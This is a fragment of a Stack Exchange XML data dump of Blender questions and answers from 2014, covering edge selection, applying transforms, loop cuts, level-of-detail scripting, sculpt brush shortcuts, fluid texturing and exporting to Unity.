LastEditorUserId="32220" LastEditDate="2021-01-11T19:39:07.760" LastActivityDate="2021-01-11T19:39:07.760" Title="Physics Simulation - Objects going through one another" Tags="&lt;animation&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="7295" PostTypeId="1" CreationDate="2014-02-24T12:48:59.460" Score="2" ViewCount="163" Body="&lt;p&gt;I want to deselect multiple edges on my model. I currently know how to deselect one edge at a time by &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Click&lt;/kbd&gt;, but I am looking for a faster way for that. Deselecting one by one takes forever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the &lt;strong&gt;3dsmax preset&lt;/strong&gt;, so the &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Click&lt;/kbd&gt; is deselecting edges one by one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, you could use the selection tools in 3dsmax (lasso, circle, box, spray etc.) to quickly deselect verts / edges / faces by &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;(Click+Draw a region)&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2576" LastEditorUserId="1363" LastEditDate="2014-02-24T14:45:57.280" LastActivityDate="2014-02-24T14:45:57.280" Title="Deselect Multiple Edges" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2014-02-24T16:10:56.843" ContentLicense="CC BY-SA 3.0" />
  <row Id="7296" PostTypeId="2" ParentId="7294" CreationDate="2014-02-24T12:49:31.083" Score="2" Body="&lt;p&gt;You can try disabling &lt;em&gt;Disable Collisions&lt;/em&gt; on all the constraint empties and using the &lt;em&gt;Mesh&lt;/em&gt; collision shape for the links.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-02-24T12:49:31.083" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7298" PostTypeId="1" AcceptedAnswerId="7307" CreationDate="2014-02-24T17:56:32.440" Score="52" ViewCount="24475" Body="&lt;p&gt;I've watched several tutorials and very often they applied the location, rotation or scale to the object when they transformed it in Object Mode. They always said it is important, but why?&lt;/p&gt;&#xA;" OwnerUserId="2357" LastEditorUserId="55" LastEditDate="2016-04-07T08:05:30.197" LastActivityDate="2020-06-10T12:21:51.320" Title="Why is it important to apply transformation to an objects data?" Tags="&lt;transforms&gt;" AnswerCount="5" CommentCount="3" FavoriteCount="19" ContentLicense="CC BY-SA 3.0" />
  <row Id="7299" PostTypeId="1" AcceptedAnswerId="7304" CreationDate="2014-02-24T18:04:21.040" Score="6" ViewCount="3358" Body="&lt;p&gt;how can I increase the number of Loop Cuts with my Apple Magic Mouse. Normally it is with the scroll wheel, but that does not work with the Magic Mouse.&#xA;And I know that I can change the number of cuts afterwards, but sometimes the cuts then are unproportional. Even if I set the cut right in the middle by clicking the left mouse button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qsdEu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2357" LastActivityDate="2014-02-25T03:12:31.573" Title="Increase number of Loop Cuts - Apple Magic Mouse" Tags="&lt;editing&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7300" PostTypeId="1" CreationDate="2014-02-24T18:11:15.713" Score="2" ViewCount="424" Body="&lt;p&gt;What are the pros and cons for using cycles to render an outdoor scene?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; I have access to a Nvida GTX 670, so I can use CUDA to speed up the cycles rendering.&lt;/p&gt;&#xA;" OwnerUserId="1672" LastEditorUserId="5705" LastEditDate="2014-12-15T18:04:08.817" LastActivityDate="2014-12-15T18:04:08.817" Title="Cycles vs Internal for a small animated outdoor scene?" Tags="&lt;cycles-render-engine&gt;&lt;animation&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2014-12-15T21:15:49.967" ContentLicense="CC BY-SA 3.0" />
  <row Id="7301" PostTypeId="1" AcceptedAnswerId="7308" CreationDate="2014-02-24T18:32:53.677" Score="6" ViewCount="1211" Body="&lt;p&gt;I'm trying to model a city, and I was wondering if Blender somehow supports &quot;level of detail&quot;, i.e. something like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I create multiple versions of the same buildings that differ by&#xA;polygon count (low-poly model, medium-poly, high-poly...).&lt;/li&gt;&#xA;&lt;li&gt;When I hit render, Blender will automatically choose between these&#xA;versions based on distance to the camera, so that far away buildings&#xA;use low-poly models, and nearby buildings high-poly models.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Does Blender support this directly? If not, can it be done via scripting?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For further clarification, I'm not trying to build a game, I just want to render some scenes in different parts of the city. Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="2581" LastEditorUserId="599" LastEditDate="2014-02-24T19:41:35.047" LastActivityDate="2014-02-24T22:33:01.203" Title="Automatically picking high-poly / low-poly model based on distance to camera?" Tags="&lt;rendering&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7302" PostTypeId="1" CreationDate="2014-02-24T19:24:58.653" Score="3" ViewCount="2047" Body="&lt;p&gt;So, I know this is probably something that would better fit with a full-blown CAD program, but I love Blender, and I know Blender is capable of this sort of thing, I just don't know how to go about it.&#xA;What I'd like to simulate is a mechanical object and its movements. The machine is composed of two arms extending form an axle which rotates. Each arm also has two mini-axle extensions which also rotate. I'd like to be able to simulate the forces at work (more notably, the centrifugal and centripetal forces) to see if this mechanism produces the gyroscopic forces I think it will.&#xA;Is there a physics library or plugin anyone can recommend? Also, I expect this to be a fairly straining machine in the real-world, and would like to simulate the stress on the materials.&#xA;Thanks :)&lt;/p&gt;&#xA;" OwnerUserId="2582" LastActivityDate="2014-08-24T01:27:01.100" Title="Mechanical Simulations With Real-Time Physics" Tags="&lt;physics&gt;" AnswerCount="1" CommentCount="5" ClosedDate="2014-08-24T22:12:47.920" ContentLicense="CC BY-SA 3.0" />
  <row Id="7303" PostTypeId="2" ParentId="7299" CreationDate="2014-02-24T19:39:53.197" Score="1" Body="&lt;p&gt;It works fine with my MM but you can always use the + - on the NUM pad&lt;/p&gt;&#xA;" OwnerUserId="1251" LastActivityDate="2014-02-24T19:39:53.197" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7304" PostTypeId="2" ParentId="7299" CreationDate="2014-02-24T19:41:19.903" Score="6" Body="&lt;p&gt;You can use the keyboard (both the top row and the numpad work) to type the number of cuts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current number of cuts is displayed in the &lt;em&gt;Header&lt;/em&gt;, where you can also see the result of &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.70/UI#Modal_Numinput&quot; rel=&quot;nofollow noreferrer&quot;&gt;modal numinput expressions&lt;/a&gt; (modal numinput will be added in 2.7, and is already in development versions):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fv8M1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-02-24T20:28:25.507" LastActivityDate="2014-02-24T20:28:25.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7306" PostTypeId="2" ParentId="7302" CreationDate="2014-02-24T20:14:46.250" Score="1" Body="&lt;p&gt;Blender is very effective in representing physical simulations, it has many options and virtually total control of Bullet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I've never seen that these &quot;representations&quot; can &#xA;extract physical data on the forces involved in each simulation. Blender has no options for that, to my knowledge, I hope to be wrong.&lt;/p&gt;&#xA;" OwnerUserId="2583" LastEditorUserId="599" LastEditDate="2014-02-24T21:26:54.050" LastActivityDate="2014-02-24T21:26:54.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7307" PostTypeId="2" ParentId="7298" CreationDate="2014-02-24T20:18:15.323" Score="43" Body="&lt;p&gt;For a rigid body physics simulation extreme unapplied scale transforms can cause very noticeable strange results, such as unnaturally fast or slow rotations depending on if the object is scaled up or down:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IeP1b.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://wiki.blender.org/index.php/User:Sergof/GSoC2012/Documentation#Scaling_Rigid_Bodies&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If dynamic scaling is not needed, rigid body objects should have the scale applied by using the &quot;Apply Scale&quot; operator. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Unapplied rotation tends to make the simulation more unstable:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B5Pis.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-02-24T20:18:15.323" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7308" PostTypeId="2" ParentId="7301" CreationDate="2014-02-24T21:10:40.377" Score="3" Body="&lt;p&gt;The &lt;a href=&quot;http://wiki.blender.org/index.php/User:Kupoman/Level_Of_Detail&quot; rel=&quot;nofollow noreferrer&quot;&gt;Level Of Detail&lt;/a&gt;  settings in Blender 2.7 will be only available in the game engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone else had an approach to control the subdivisions of a multires modifier using a driver and use the distance from cam to an object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SRo46.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this &lt;a href=&quot;http://reynantem.blogspot.de/2011/11/blender-mesh-lod-test.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blog post&lt;/a&gt; detailed information and demo file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does not support switching different meshes only subdivision nor LoD for different textures.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;My approach would be to have different Objects / Meshes parented and calculate the distance from camera to each object. For a quick test I parented a lores version to a higher mesh version of a model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like so:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/k2Jrb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on a distance threshold the visibility of the lores or the hires parent is easily controlled by a script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;threshold = 9&#xA;&#xA;scene = bpy.context.scene&#xA;camera = scene.objects[&quot;Camera&quot;]&#xA;cam_pos = camera.location&#xA;print(cam_pos)&#xA;for ob in scene.objects:&#xA;    print( ob.name )&#xA;    if ob.name.startswith(&quot;Cube.LowRes&quot;):&#xA;        d = cam_pos - ob.parent.location&#xA;        dist = d.length&#xA;&#xA;        if dist &amp;gt; threshold:&#xA;            ob.hide = False&#xA;            ob.parent.hide = True&#xA;            ob.hide_render = False&#xA;            ob.parent.hide_render = True&#xA;&#xA;        else:&#xA;            ob.hide = True&#xA;            ob.parent.hide = False&#xA;            ob.hide_render = True&#xA;            ob.parent.hide_render = False&#xA;        print( ob.location )       &#xA;        print( dist )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you plan to use this with for an animated camera you could consider adding a &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_10/bpy.app.handlers.html?highlight=frame_change_pre#bpy.app.handlers.frame_change_pre&quot; rel=&quot;nofollow noreferrer&quot;&gt;bpy.app.handlers.frame_change_pre&lt;/a&gt; and call the script before each frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Demo file &lt;a href=&quot;http://www.pasteall.org/blend/27069&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-02-24T22:33:01.203" LastActivityDate="2014-02-24T22:33:01.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7309" PostTypeId="1" CreationDate="2014-02-24T21:58:07.273" Score="9" ViewCount="849" Body="&lt;p&gt;I've got a script which imports a bunch of hi-resolution models onto a grid. It gives me this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AG0xT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's currently got 35 objects (81924 vertices per object), but I'd like to rotate the camera toward the horizon, and arrange many many more objects out to infinity (~1500 of them).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel that a simple extension of what I'm doing now is going to run my machine out of memory. And since I only really need hi-res data close to the camera, it's a waste of resources out at the horizon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be a good strategy for rendering many hi-res models in a single scene? &lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="1476" LastEditDate="2014-02-27T19:47:10.103" LastActivityDate="2014-02-27T19:47:10.103" Title="Rendering a large number of unique objects" Tags="&lt;workflow&gt;&lt;memory-management&gt;" AnswerCount="1" CommentCount="16" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7310" PostTypeId="1" AcceptedAnswerId="7311" CreationDate="2014-02-25T00:30:18.873" Score="15" ViewCount="26796" Body="&lt;p&gt;When sculpting I often want to switch between brushes. I find this a rather lengthy process. I have to open the sidebar and click on the icon and then click on the new brush I want to use. Is there a faster way to switch between brushes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gkez4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2018-04-06T23:48:19.987" Title="Switch between sculpting brushes" Tags="&lt;workflow&gt;&lt;sculpting&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="7311" PostTypeId="2" ParentId="7310" CreationDate="2014-02-25T00:31:20.317" Score="16" Body="&lt;p&gt;There are letter shortcuts for most brushes, &lt;kbd&gt;S&lt;/kbd&gt; for smooth, &lt;kbd&gt;D&lt;/kbd&gt; for brush/draw, etc. as well as number shortcuts (&lt;kbd&gt;1&lt;/kbd&gt; for blob, &lt;kbd&gt;2&lt;/kbd&gt; for brush, etc. Note that the number shortcuts depend on the order of the brushes in the menu, so 1 is always the first brush but necessarily blob)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a full list, go to &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&gt; User Preferences &gt; Input&lt;/em&gt; and search for &quot;brush&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lkX9T.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then scroll down to the &lt;em&gt;Sculpt&lt;/em&gt; section:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pTSDA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are options (for which brush to select) available if you expand a shortcut entry:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z11p1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can easily create your own shortcuts by &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Pressing &lt;em&gt;Add New&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the shortcut actuator options (mouse or keyboard, modifier keys, shortcut key, etc.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Type in &lt;code&gt;paint.brush_select&lt;/code&gt; as the operator.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select &lt;em&gt;Sculpt&lt;/em&gt; as the paint mode (note that it will be grayed out until you select it).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the sculpt tool.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lfgfa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that the &lt;em&gt;Smooth&lt;/em&gt; brush can be activated without switching to another brush by holding &lt;kbd&gt;Shift&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-02-25T00:48:47.463" LastActivityDate="2014-02-25T00:48:47.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7313" PostTypeId="1" AcceptedAnswerId="7314" CreationDate="2014-02-25T01:48:56.417" Score="8" ViewCount="3794" Body="&lt;p&gt;Mapping an Environment Texture onto a fluid in blender works normally, even with image sequences/animated textures, but I can't seem to figure out how to map an Image Texture onto a fluid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Really, I need to map an image sequence onto a fluid. If there's a way to bake a fluid onto a non-physics enabled object (similar to baking a collision simulation into an animation and disabling the physics) and then mapping the texture normally, how would I go about doing that instead?&lt;/p&gt;&#xA;" OwnerUserId="2585" LastEditorUserId="599" LastEditDate="2014-07-29T00:50:46.610" LastActivityDate="2019-05-30T16:02:59.693" Title="Mapping a texture onto a fluid" Tags="&lt;texturing&gt;&lt;fluid-simulation&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7314" PostTypeId="2" ParentId="7313" CreationDate="2014-02-25T02:23:08.553" Score="7" Body="&lt;p&gt;I'm assuming the issue is that it's impossible/difficult to properly UV-unwrap a fluid, moving mesh?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 solutions off the top of my head:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &quot;Generated&quot; as the Texture Coordinates, and then Use Box method on the Image node to blend the texture seams together.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you need more control over the texture placement, use the UVProject modifier with a number of projector cameras in the scene. You might need to add an alpha feathered transition to the edge of the image manually in an external app. For an animated texture, you might need to blend it with an alpha mask image.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="894" LastActivityDate="2014-02-25T02:23:08.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7315" PostTypeId="2" ParentId="7299" CreationDate="2014-02-25T03:12:31.573" Score="4" Body="&lt;p&gt;This doesn't give you smooth scroll control, but if you still want to control the loop cuts from the Magic Mouse, you can use the MagicPrefs app (&lt;a href=&quot;http://magicprefs.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://magicprefs.com&lt;/a&gt;) to map One Finger Tap Left to the + key and One Finger Tap Right to the - key. This allows you to inc/dec the loop cuts by tapping on the magic mouse. Not as slick but I think it's better than moving your hand to the keyboard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally if the mapping causes issues in other apps, you can apply the mapping just to Blender itself in MagicPrefs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qaiBj.jpg&quot; alt=&quot;Magic Pref Config&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2014-02-25T03:12:31.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7316" PostTypeId="1" CreationDate="2014-02-25T05:23:56.040" Score="0" ViewCount="273" Body="&lt;p&gt;I'm expermenting with world_to_camera_view&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bpy_extras.object_utils.world_to_camera_view(scene, camera, co)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets say I create a new blender file. I enter every point of a cube into this function and then paint the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I do the same thing again, but this time I rotate the cube. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I expect to get different sets of points, but I get the same points. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now lets say I add a second cube at a different position. I expect again to get a different set of points. But again I get the same points (two sets of cubes on top of each other). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I move the camera.. then I do get different points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my questions are: how can I use this to see two meshes? and why do I not see changes after a cube is moved, can I turn that on somehow? &lt;/p&gt;&#xA;" OwnerUserId="2586" LastActivityDate="2014-02-25T05:23:56.040" Title="world_to_camera_view - returns same result if cube is rotated, not if camera is rotated" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2014-02-25T13:47:43.803" ContentLicense="CC BY-SA 3.0" />
  <row Id="7317" PostTypeId="1" AcceptedAnswerId="7322" CreationDate="2014-02-25T08:14:17.480" Score="1" ViewCount="1944" Body="&lt;p&gt;I am exporting a model to Unity 3d. Some parts of the model appear rotated 180/90 degrees. I have tried &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; and resetting the location/scale/rotation but to no effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am directly using the .blend file in the Unity Asset window; without using any export file (dae, fbx etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to mention that the models transforms are ok when in scene view in unity; until I press the play button that is...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In blender (first image) and in Unity:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Bb101m.jpg&quot; alt=&quot;In Blender&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/yfR2Bm.jpg&quot; alt=&quot;In Unity&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can download the model &lt;a href=&quot;http://s000.tinyupload.com/index.php?file_id=04385295535467978681&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; to check for any problems.&lt;/p&gt;&#xA;" OwnerUserId="2576" LastEditorUserId="12" LastEditDate="2014-02-25T17:34:53.657" LastActivityDate="2014-02-25T17:34:53.657" Title="Animated mesh has incorrect transforms when exported to Unity" Tags="&lt;export&gt;&lt;unity&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7318" PostTypeId="1" CreationDate="2014-02-25T09:58:27.917" Score="3" ViewCount="513" Body="&lt;p&gt;Can I somehow link the choice of render engine to the render layer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to composite cycles and freestyle.&#xA;The render layers which I use in the compositor as inputs should 'know' which render engine they are supposed to use.  Maybe there is some python renderlayer-initialization-hook which I can leverage?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not like the workaround of creating three scenes, as maintenance overhead does not scale well. (or I'm doing it wrong?)&lt;/p&gt;&#xA;" OwnerUserId="2590" LastEditorUserId="12" LastEditDate="2014-02-25T17:07:04.650" LastActivityDate="2014-02-25T17:07:04.650" Title="Switch rendering engine depending on render layer?" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7319" PostTypeId="2" ParentId="7318" CreationDate="2014-02-25T12:45:51.870" Score="2" Body="&lt;p&gt;You should use different scenes for each renderer. On the top toolbar next to where you select your render engine you can find to the left the scenes. Add a new scene and switch to the appropriate render engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rename the current scene to the render engine's name&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a &lt;em&gt;Link Object Data&lt;/em&gt; copy of the current scene&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HVYJ6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rename it the other render engine and selected the render engine from the drop down to the right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OtiPo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-02-25T12:45:51.870" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7321" PostTypeId="1" AcceptedAnswerId="7323" CreationDate="2014-02-25T17:19:17.417" Score="8" ViewCount="1460" Body="&lt;p&gt;I'm experimenting with HDRIs and I need to render a still frame of the same scene but with different world settings. I would like to automate this instead of changing the world setting manually, wait for render, change world setting, wait for render, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gvJfG.png&quot; alt=&quot;world settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The world settings nodes are different for each one, it's not just the HDRI that changes, and I'm using Cycles to render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I could keyframe the world setting or bind it to markers like it's possible with cameras I could render an animation with a different world setting for each frame, but I can't figure out how to do this. Does anyone have an idea how to do it?&lt;/p&gt;&#xA;" OwnerUserId="681" LastEditorUserId="2952" LastEditDate="2015-12-06T07:29:38.777" LastActivityDate="2015-12-06T07:29:38.777" Title="Workaround to keyframe the world setting?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;workflow&gt;&lt;world&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7322" PostTypeId="2" ParentId="7317" CreationDate="2014-02-25T17:33:17.337" Score="2" Body="&lt;p&gt;As a general rule of thumb, it is a bad idea to animate meshes for use in other applications, there is alot to take into consideration such as world coordinates etc. After animating these, you have very limited control over the mesh in terms of applying transforms or even modifying the mesh later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution, use bones to rig and animate the windmill after applying transforms to the separate parts. Example &lt;a href=&quot;http://pasteall.org/blend/27081&quot; rel=&quot;nofollow noreferrer&quot;&gt;file with rigged windmill&lt;/a&gt; and applied scale and location. By making use of bones to handle the animation, your hard suface model can now be manipulated without the risk of breaking anything else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k3HBR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2014-02-25T17:33:17.337" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7323" PostTypeId="2" ParentId="7321" CreationDate="2014-02-25T19:02:42.657" Score="8" Body="&lt;p&gt;You could merge all your world settings into one world setting and animate node properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use a mix node, as shown below, to animate between different HDR images and animate the factor from 0 to 1 to switch between them. Adding additional mix nodes after the first one would allow you mix between as many HDR images as you want. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pq97v.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keyframes can be inserted on node properties in the same way as other properties, by pressing &lt;kbd&gt;I&lt;/kbd&gt; while the cursor is over that value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you said that some other nodes were also different in each setup, you could either animate the values for each node or again use a mix node to switch between whole networks of nodes instead of just an environment node as shown below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J9zES.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that to mix 2 background shaders a 'Mix Shader' node is used instead of 'MixRGB'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nodes can be copied from one world setting to another with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; and &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2014-02-25T19:02:42.657" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
